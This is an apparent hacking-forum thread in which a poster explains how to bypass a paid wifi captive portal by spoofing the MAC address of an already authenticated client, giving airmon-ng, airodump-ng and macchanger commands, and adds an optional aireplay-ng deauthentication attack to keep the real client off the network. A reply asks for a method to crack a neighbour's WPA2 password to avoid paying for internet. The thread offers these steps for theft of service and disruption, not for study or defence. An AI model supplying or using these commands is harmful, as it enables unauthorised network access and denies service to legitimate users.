BYPASSING CAPTIVE PORTAL
by VickyT - Tuesday March 18, 2025 at 04:18 PM
#1
Today i came across  wireless network that require a payment after connecting for further network access.

I wondered how i might bypass this without paying. Looked fun huh?  Blush
I bypassed this by spoofing the MAC address of a client that has  already connected and authenticated to an AP.
The reason this works is that an authenticated user's MAC is given an IP  that is allowed on the network, so when spoofing a MAC address, there is no need to authenticate as the MAC address is already allowed on the network.

The steps are as follow:
Use a wifi adapter that supports monitor mode and put the interface in monitor mode.
--sudo airmon-ng start <interface> 

Now check for the wifi network available 
 [i][b]-- sudo airodump-ng <interface> [/b][/i]

Select the network and check for connected devices.
--sudo airodump-ng --bssid <macaddress> --channel <i> <interface>

Copy the MAC address/addresses and spoof it.
-- ifconfig <interface > down
 -- sudo macchanger -m <spoofMAC> <interface>
-- sudo ifconfig <interface> up

Now u have spoofed the MAC address ...Connect to the wifi Network and browse happily.

Optional:
You may perform deauthentication attack to the bssid of the device that u have spoofed to prevent it from connecting:

-- sudo aireplay-ng --deauth 1000 -a <routerMAC> -c <clientMAC> <interface>

Thanks to you all. Big Grin
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#2
thank you posting this. I am also asking to next time " wpa2 psk Wi-Fi password hack method" my neighbour's has wifi. but I have not to pay for internet. and I have unrooted android device. i tried so many methods but root device is must. I am not able to do that.

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#3
(Mar 19, 2025, 01:36 AM)friends3 Wrote: thank you posting this. I am also asking to next time " wpa2 psk Wi-Fi password hack method" my neighbour's has wifi. but I have not to pay for internet. and I have unrooted android device. i tried so many methods but root device is must. I am not able to do that.

i will follow up my threads this week.
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